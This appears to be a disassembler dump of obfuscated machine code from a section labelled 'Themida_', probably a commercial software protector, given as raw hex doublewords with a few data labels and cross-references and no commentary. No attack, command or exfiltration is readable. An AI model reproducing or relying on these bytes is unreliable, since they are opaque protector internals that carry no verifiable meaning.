480F51B5h, 5B806h, 8D310000h, 6481945h, 0BD01E1FFh dd 64818CDh, 61E9CA03h, 8BFFFFF3h, 4826C1B5h, 3DB58B06h dd 8B064809h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 2D81FB16h, 0E5EE814Ah, 4EBh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0CCF8AAC3h, 6E953h, 13B60000h, 0A2D2C30Bh, 32FD858Dh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 28B76CC3h, 0EE8ED80h, 26000000h, 0D689A1D3h dd 5C2231E7h, 2CFAE249h, 5DB58B17h, 5E064804h, 67BE6690h dd 52505016h, 0F78B6656h, 0E8310F5Eh, 8, 301F4AEBh, 6FD3D4FDh dd 0EE9h, 0C88E600h, 2D39E78Eh, 352D7A32h, 5EAC71B1h, 8990585Ah dd 482E8D95h, 0DB58906h, 6A064821h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0F7BF0FE4h dd 0BE9FCh, 54480000h, 3BCAA122h, 2E8BB10Fh, 6A006A41h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0EEEFC357h, 0AE781EABh, 0F5945C7h, 858DF2BFh dd 64BE9DDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 69C35747h, 0BCF0F39h, 834F152Fh, 5C08319h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 46C35242h, 0B99D7D0Dh dd 0D0E77FD4h, 0B8E0F90h, 0E9000000h, 6, 0B043B0C3h, 0E950E1C3h dd 0Bh, 0E740B3A3h, 3633870Bh, 90C8539Eh, 188D8529h, 6A0648h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EDC35747h dd 0C39C23B7h, 0AD23D6ADh, 0BE956h, 0ECEF0000h, 0E6AE296Ch dd 7A496487h, 0EE95E92h, 80000000h, 0A2513BA4h, 0EC1D594Bh dd 40E43EBAh, 6A006AEEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 7B7EC355h, 9D5BD89h dd 0AFBE0648h, 0FF2EEBBAh, 48277D95h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 3F3071EDh, 149D8D0Ah, 6A064B9Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 8A24C356h dd 0FF0E8989h, 0EE8166D3h, 85FFA46Eh, 6480A2Dh, 14B9B523h dd 8D010648h, 64830F1h, 9A4E9h, 0E800h, 815D0000h, 4BE9E7EDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 82F49272h, 0E5BD819Ch, 0D0064805h, 0F000007h dd 10A86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0B18589A6h, 8B06482Dh, 48051D9Dh dd 0EE906h, 9DC50000h, 0B5632F1h, 6346E4A4h, 0E53D147Ah dd 20A5B58Bh, 0E3810648h, 100h, 2FC68166h, 0FDB0BDFh, 6A85h dd 83F08B00h, 4BE77FBDh, 840F0006h, 3Ah, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 9CC35545h, 66BE6653h dd 8D8952A9h, 6481C05h, 3DE95Eh, 7E90000h, 0E0000000h dd 922BC81Ah, 85C72713h, 64BE77Fh, 1, 20018589h, 1CE90648h dd 0F000000h, 689h, 89958900h, 0C7064822h, 4BE77F85h, 6 dd 4DB58B00h, 8D06482Ch, 48051D9Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 2B81D1F6h dd 66432545h, 58FC681h, 0A51BD89h, 23810648h, 0FFFFFEFFh dd 66F1B70Fh, 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 3EF3B2C3h, 12BB20E3h, 9529CC54h dd 6482A49h, 0F04C3F6h, 8584h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 38BD47E4h dd 0F67A356Ch, 95FF77CDh, 64806A1h, 8DB58Bh, 13E90648h dd 24000000h, 0B740E31Eh, 0D1FF579Ch, 36E594E8h, 0BE99C3E8h dd 66902B18h, 508B92BEh, 11E8h, 0B6866800h, 7F47D9Ah, 0AA97124h dd 0FAF5924Dh, 0F28B2B65h, 6A905Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 7CE96AC3h dd 9000003h, 48195D85h, 2900B006h, 482369B5h, 2970E606h dd 4820A58Dh, 6A71E406h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 4F82C357h, 31709236h dd 0FD8B60Fh, 683h, 0BDB58B00h, 1064832h, 480AEDB5h, 6BA06h dd 81660000h, 8B33F0C6h, 9B58BC3h, 0C106481Eh, 0F76604E8h dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 157E25EEh, 0B9188CC8h, 0D82BE8B9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 40C35545h, 545B4D1Dh dd 0B178E757h, 0B585013Eh, 50064815h, 2C5D8D89h, 8B5E0648h dd 935093F0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 3C35343h, 51918177h, 13E9h, 42E64300h, 778FBABFh dd 66D5BAEDh, 4CE7EB0Eh, 74AA05E6h, 5E5B5FFh, 95FF0648h dd 6483061h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 2CC35747h, 8E8DA67Dh, 0B58BB9F6h, 64815C1h, 1E55B58Bh dd 0B00648h, 709BD01h, 70E60648h, 6A71E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 3C0C57C3h dd 14830F61h, 0F000002h, 287h, 0FF28B00h, 0B533D8B6h, 64820B5h dd 6BAh, 6830F00h, 8B000000h, 483129B5h, 0F38B6606h, 6AC38Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 2CE213C3h, 0BE4AA8DFh, 0F98F354Bh, 6A04E8C1h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 843EC353h, 8B282C25h, 482519B5h, 0C1B58B06h, 66064806h dd 6E9E2F7h, 39000000h, 0E4FEB4F7h, 29D82B00h, 4813ED95h dd 0B58B5806h, 64823C9h, 880FD82Bh, 173h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 74C35545h, 0E44F20B7h dd 2CBDB58Bh, 7B90648h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9B7C351h dd 939F681h, 0D6817AC1h, 7F8617C3h, 5600C183h, 7E8h, 0DAC97500h dd 0F35F1B3Dh, 2F599589h, 5E5E0648h, 860FD93Bh, 0FFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4FC35343h, 5587CD06h dd 3514710h, 482381B5h, 0B58B5E06h, 6483121h, 89D98C66h dd 4829DD9Dh, 4C1F606h, 9A840Fh, 0B58B0000h, 6482199h dd 6A195FFh dd 0B58B0648h, 64824D9h, 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 501AA728h, 2BF38B5Eh dd 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 88017E79h, 0FFB19B41h, 8343Dh, 35860F00h dd 8B000000h, 480A15B5h, 4DE906h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 79240FC3h dd 2EA8A3D5h, 299D8951h, 5E064830h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 2B5991C3h dd 8BCD9B7Dh, 6AD88BC3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0D3FAC356h, 1DDF0735h dd 0B7071D02h, 26C585C7h, 0BD930648h, 6A562Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 83A18DC3h, 0DF4D30Bh, 0EDB523B3h, 8B064820h, 71B50BC0h dd 8106482Ah, 4805E5BDh, 7D006h, 4B850F00h, 0E8000000h dd 0Eh, 0F98F5CE8h, 3B728F0Fh, 15AA6C17h, 0BE662A5Ch, 0FF5E5ACDh dd 4805E585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0B70F6083h, 7E9D9h, 579E0000h, 9E1C7181h dd 0B5FF6139h, 64805E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 72C35646h, 30A108DAh, 10E852h, 44E20000h dd 0A54AE936h, 3D291DC4h, 0EAFB4168h, 61607C01h, 95FF5E5Eh dd 6483061h, 13880Fh, 8C0F0000h, 0Dh, 8E9h, 1CDF0000h dd 9EAF57CCh, 0D88B90AAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0B9C35545h, 8D893F39h, 6482D2Dh, 0B19BD83h dd 0F000648h, 0B84h, 1D858900h, 0E906482Fh, 2B8h, 6ADF8Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 663FC0C3h, 4C7F7h, 28E850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0DAB403C3h dd 0B371AE3Ah, 870FCEh, 56000000h, 5EF38B66h, 0BD89FF2Bh dd 6480935h, 0F3129D8Dh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0B79B4FC3h, 0D8941D11h dd 9E9FBh, 0FA0C0000h, 8A0E9736h, 50F348DBh, 8E8h, 0D22E8A00h dd 86FAFC3Fh, 9E8B0h, 5F2D0000h, 0BD93F15h, 509345C1h dd 895E5E5Eh, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 7CF378C3h, 1D95897Fh, 64064828h dd 35FFh, 6A0000h, 3E855h db 2 dup(0) word_57BF1E dw 5D20h ; DATA XREF: Themida_:0053D274o dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3A2395C3h dd 8601547Dh, 258964h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 6790C353h dd 0B98589AAh, 8B064824h, 0DB32BEC4h, 1CD5CBFh, 6A00EBh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0AE0821C3h, 6AB697h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 244384C3h, 8684E1ADh, 816677AAh dd 0F0E51F6h, 84h, 58F6400h, 0 dd 27A1B58Bh, 0C4830648h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0F18ADC43h dd 45B58B01h, 81064820h, 0F84292E6h, 0F1BF0F61h, 840FC00Bh dd 0E4h, 0BB58D31h, 0BD8D0648h, 6484B64h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0FEC35747h, 443D2D32h dd 5B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0E9806E40h, 7, 2A3A727h, 0FF523873h dd 56006AE7h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 10B1526Eh, 5C8B57A3h, 838B1024h, 0B8h, 140B60Fh dd 8389C8FEh, 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 26C7C352h, 880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0CCA68C3h, 0FB044ED0h dd 62E9CA2Bh, 8BFFFFF6h, 48302DB5h, 0FCC18B06h, 681B523h dd 4EB0648h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7BC35343h dd 9598FBCh, 5C82346Ch, 0A8D68129h, 6A5FEF46h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0C40EC352h, 2E818A0Ch, 0A5DBD2Bh, 0BE660648h, 858DC124h dd 64832FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0A9C35141h, 326AFBC1h, 29D4A3E1h, 302DBD8Bh, 89500648h dd 0BF0F2404h, 0E9006AFEh, 0Fh, 0B6024CE3h, 7A041FBEh dd 6E8D060Fh, 6A5387EBh, 0EBF6600h, 0F78B66ECh, 0F599858Dh dd 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0B58B37C3h, 648157Dh, 2DDDBD2Bh, 0C0830648h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 14E890F7h, 0F6000000h, 0D3560A58h, 3B590111h dd 108712B4h, 534381B9h, 29D1431Fh, 48097185h, 5F565E06h dd 24048950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0CDC35343h, 0ABB1AF10h, 60923D1Bh, 0E8D8B70Fh dd 0Fh, 35BEAC92h, 16E98A84h, 6BDF25C9h, 0F801BB0h, 82h dd 6A615B00h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0DA0CF444h, 0BE413722h, 5E938A9Bh dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 5746E0C3h, 6117D679h, 0E18501h, 8D890648h dd 6482E4Dh, 277D95FFh, 87BE0648h, 8D666620h, 4B9C149Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0FF1066BFh, 0E68166D3h, 85FF6CB9h, 6480A2Dh dd 1EA9BD8Bh, 0BD8B0648h, 6480929h, 838E9h db 0 byte_57C30D db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0053CE50o dd 815D0000h, 4BF5A3EDh, 0F98B6606h, 5E5BD81h, 7D00648h dd 860F0000h, 1F0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 5DC35747h, 503D2121h, 0F621B806h, 0C9B58B3Ah dd 8B064814h, 4830719Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0FFA4F41Ch, 56B42FC4h dd 0B119D89h, 8B660648h, 0E381F2h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 6EE2C352h, 0DF157FD2h, 2EA9BD0Bh, 0DB0B0648h, 0CF850Fh dd 0B5310000h, 6482C51h, 0F391BD83h, 0F00064Bh, 6484h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0E94E3C6Dh, 14h, 43A90852h, 280FBCFBh, 58150E88h dd 0FC4D2463h, 16558560h, 713E88BFh, 0ABE96Eh, 0E9560000h dd 11h, 0CDC7667Ch, 21D9953Eh, 1DE5C5h, 0A73991B9h, 80605ED5h dd 0BD898FD8h, 64824D9h, 9185C761h, 1064BF3h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0E067C353h, 0E873D509h, 13h, 1A07FADFh, 79FA0C5h dd 0F945A729h, 0B601E485h, 0F9505B3h, 486h, 2ABE6600h dd 36E95EF3h, 8B000000h, 480FADBDh, 9185C706h, 64BF3h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 5E5EC351h, 89218AACh, 4821219Dh dd 719D8D06h, 6A064830h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0AD04C350h, 0E5950141h dd 8B064832h, 480A15B5h, 0FF238106h, 6AFFFFFEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 2116C356h, 0B70A9B24h, 6650CEE6h, 5FDC72BFh, 6ADB8C66h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0D3E9C356h, 0EA2512D2h, 0F781380Bh, 5C6421DAh dd 2119B58Bh, 0C3F60648h, 5B840F04h, 0E8000000h, 0Dh, 0D3EBFABBh dd 3FB00F54h, 9A43D28Ah, 0FF5FF5B8h, 4806A195h, 0D1B50906h dd 9006481Bh, 8B565250h, 310F5FF7h, 6650585Ah, 6A90F88Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0FAEDC356h, 7F83B52Dh, 5D639F9Ch, 1A01B589h dd 0A7E90648h, 8B000003h, 4806D5B5h, 6000B006h, 6E8h, 0B3192000h dd 8BECD9D6h, 0C88B5EDAh, 8B70E661h, 483035BDh, 6A71E406h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 91F4C351h, 11E8h, 2BF8DF00h, 0C0B794E2h dd 44B7788Dh, 347FAB75h, 0BF0F4757h, 8B0F5EF8h, 6, 1A8DB523h dd 0B60F0648h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0AC008A85h, 6BAFAC4h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0C842C353h, 8589CAE3h, 64808D9h dd 9D89C38Bh, 64820ADh, 4E8C1F8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 17C35141h, 5C1CBBBh, 5E9F9h dd 1FEC0000h, 66D0D9A2h, 6AE2F7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 35604CC3h, 2A51D396h dd 0BB0F049h, 48303DB5h, 6AD82B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 27B6C353h dd 13E9h, 0DFD4D900h, 0ED3C3A80h, 842DE3A1h, 654EF3C2h dd 14CB4027h, 0F605050h, 86h, 615F5000h, 241C895Fh, 5E5B5FFh dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 61BD46C3h, 9589506Ah, 6483091h, 306195FFh dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0AB2206C3h, 5BAD66B2h, 0B095F4h, 0E6816660h dd 0F18BB08Fh, 6A70E661h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0F97DC353h, 177E178Dh dd 72591679h, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0CA7C70C3h, 597D3108h, 35C1C8Fh dd 480D81B5h, 0F613C06h, 18983h, 0A5BD0B00h, 0F06480Fh dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD0900C3h, 6481851h, 6BAh, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0E9C38B2Ah, 0Dh, 96AD8303h, 182578BBh, 943CF3B8h, 4E8C1B9h dd 0E31B58Bh, 0F7660648h, 66D82BE2h, 0F958F98Bh, 98DB509h dd 0D82B0648h, 108880Fh, 6E90000h, 61000000h, 0C07BAD86h dd 7B9A1h, 0C1830000h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0E8D41413h, 1A019589h dd 0D93B0648h, 0C8860Fh, 8F0F0000h, 6, 0D29BD89h, 8C660648h dd 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 304CD976h, 1B58B00h, 0F6064818h, 840F04C1h dd 88h, 75DBE781h, 95FF1073h, 64806A1h, 1B1D9D89h, 0E95B0648h dd 0Ch, 4E708943h, 7EBF6664h, 7E813A0Fh, 6AC32Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 1E385FC3h, 34356E2Fh, 8D18D01h, 343D0648h, 0F000008h dd 2F86h, 29BD8B00h, 0E9064815h, 26h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 84C35141h, 0DE3B9B23h, 319EA435h dd 0C38BC08Bh, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 59A864C3h, 51D85C7h, 0FB550648h dd 0F18B1124h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 5558F7C3h, 0E5BD81EBh, 0D0064805h dd 0F000007h, 3785h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 31936EA5h, 88F0F96h, 0F000000h dd 284h, 0FFE8B00h, 85FFF0BFh, 64805E5h, 5E5B5FFh, 5E500648h dd 306195FFh, 8C0F0648h, 6, 8BF8B060h, 0BF9061D9h, 26D34AB8h dd 0FF28B60h, 6A61FEBFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0B98BC355h, 0DC3E627Ah dd 66FA18B7h, 0B3BCEBEh, 482EF5B5h, 0B58B6006h, 6482795h dd 80D3BF0Fh, 0E9569CC1h, 13h, 0C393E091h, 0D0AF091Ah dd 7F49636Bh, 3EEB702h, 0E88842B9h, 11h, 2D222859h, 82CF10ADh dd 659382B5h, 0D077FC6Ah, 615E5F43h, 31D18D29h, 95890648h dd 6481041h, 1D9D0156h, 5E06481Bh, 6AFAB70Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0A9F1C351h, 50B89C8Ah, 9D89F18Bh, 6481A95h, 0FFB70F5Fh dd 1021B58Bh, 8F0F0648h, 0Ah, 2369BF66h, 0D5B589h, 6A0648h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 430253C3h, 0CC61C74Ah, 800FECEAh, 8, 9D29F88Bh dd 648225Dh, 605BD8Bh, 0EEE90648h, 6AFFFFF7h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0BDFC355h, 371CD89Fh, 0BF0FB70Bh db 0F9h byte_57CB45 db 8Bh, 0C1h, 0EBh ; DATA XREF: Themida_:0053E7BCo dd 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0CC37C740h, 138A0Fh, 0EE90000h, 7F000000h dd 0FE9B3852h, 72D65A81h, 76DD795Ch, 0FD858D38h, 6A064832h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0A4A8C350h, 0F10B29A3h, 11E890h, 0C4100000h dd 1DE9031Eh, 24D99E3Ch, 0C97E7113h, 53E306DDh, 90505E5Eh dd 2D15BD23h, 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 41C35040h, 0F56FA8AAh, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0BCA463C3h, 9C68166h, 5D952930h, 8D06481Dh, 4BFFE685h dd 0BD8D8906h, 81064825h, 314B64C6h, 5C0837Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4DC35545h, 57A56F8Ch dd 4FFEA14Eh, 0CE8h, 66EB3F00h, 8CD936F4h, 429F355Bh, 51CF817Eh dd 5F787995h, 0CE850F9h, 6C000000h, 2E584A4Ah, 2DD35230h dd 66730D34h, 895FFA8Bh, 9D892404h, 6480D89h, 9589006Ah dd 6481D55h, 8166006Ah, 0F8682D7h, 1E8Ch, 18810F00h, 0E8000000h dd 12h, 0CAEE4C6Fh, 0B74ED552h, 639771CAh, 980E95D5h, 0FF5E408Dh dd 48277D95h, 0C38B6006h, 1F99B589h, 8D610648h, 4B9C149Dh dd 0EACF8106h, 0FF3E4506h, 57006AD3h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0C7CF7BE2h dd 7E82Ch, 1ABF0000h, 0C175BA8Dh, 0FE90Fh, 0DCA70000h dd 0F30A0FCEh, 0C62914F6h, 47BAC7CDh, 0BF0F5EA3h, 2D85FFFBh dd 6A06480Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 53D3C357h, 2FFD8D2Fh, 68F0F97h dd 89000000h, 480B3595h, 7CFE906h, 0E80000h, 5D000000h dd 0FFF0ED81h, 89F9064Bh, 483019BDh, 0E5BD8106h, 0D0064805h dd 0F000007h, 1A186h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0FC53321Ch, 1E800Fh, 12E80000h dd 33000000h, 0BB35AF54h, 9B8C9911h, 0B8F37412h, 254D6F84h dd 0CAD7815Bh, 5F1F12DEh, 1A919D8Bh, 6A0648h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 4EF91CC3h dd 18870Fh, 0CE80000h, 0EC000000h, 0BF49A384h, 671DA23Bh dd 81695F91h, 1C29BDCFh, 0E3815F7Bh, 100h, 2481B50Bh, 0DB0B0648h dd 0A2850Fh, 9D890000h, 6482A95h, 0FDDABD83h, 0F00064Bh dd 4284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0A2F2378Dh, 86BF7A2Eh, 0F22A58Eh dd 68Fh, 0F5B58B00h, 0E9064832h, 88h, 0D30FF4BEh, 0ED85891Bh dd 0C7064805h, 4BFDDA85h, 106h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0E1BD8B25h dd 0E9064820h, 4Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0E5C35646h, 0FDDA85C7h, 64Bh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 89FA50C3h, 482D098Dh, 0FAB70F06h, 1A919D8Dh, 0BF660648h dd 23813474h, 0FFFFFEFFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 6EC35545h, 0FE8B663Dh, 0F518D89h, 8C660648h dd 15BD8BDBh, 0F6064806h, 840F04C3h, 54h, 0DFDB501h, 95FF0648h dd 64806A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 37C35747h, 0F9BF0FE0h, 505E5090h, 17860Fh, 11E80000h dd 87000000h, 0D2C80BDAh, 2910D709h, 0A9B4686Ah, 0D7B05777h dd 0BD8B905Fh, 64831DDh, 3D8E9h, 68D0F00h, 89000000h, 482D35BDh dd 0F800B006h, 2DBF70E6h, 0E4610EADh, 0C7816671h, 0B60FA052h dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 4C287372h, 850F9FD1h, 6, 2405BD8Bh, 0E7810648h dd 4360B268h, 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 6AC38BDCh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0C010C353h dd 0BD89562Ch, 6480E85h, 4E8C15Eh, 1891B589h, 0F7660648h dd 51006AE2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0EC84973Ch, 6673DBB3h, 8330CF81h, 0B503D82Bh dd 64819ADh, 0BE8h, 3846AB00h, 4E5D582Fh, 577D4FAFh, 5FFB8B66h dd 66525050h, 310FFE8Bh, 7E9h, 3DAC6700h, 0CF5E938Dh, 1C89585Ah dd 558D8924h, 0FF064825h, 4805E5B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1BF5DD1Eh dd 899B9D97h, 48219185h, 0EDB58B06h, 0FF064827h, 48306195h dd 6810F06h, 29000000h, 48071DBDh, 2900B006h, 482A9595h dd 8B70E606h, 10E8F2h, 5450000h, 0C1F56377h, 2E02948Fh dd 6ACA961Ah, 0B58BB80Bh, 6481505h, 6A71E45Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 40C5C353h, 3C1051B9h, 36830F61h, 89000002h, 4830E5BDh dd 0D8B60F06h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0C38B5B54h, 6A04E8C1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0AA4AC351h, 0BFD33E63h, 0DF29C8Eh, 6AE2F766h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 33CDC352h, 0A2F1ADF4h, 7E9ABh, 0EF30000h dd 8FA7C30Eh, 6AD82B9Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 8018C356h, 0EE9F9h dd 0B9150000h, 1FEB461Ch, 532419ABh, 1929D16Eh, 99B52358h dd 2B064821h, 6E880FD8h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 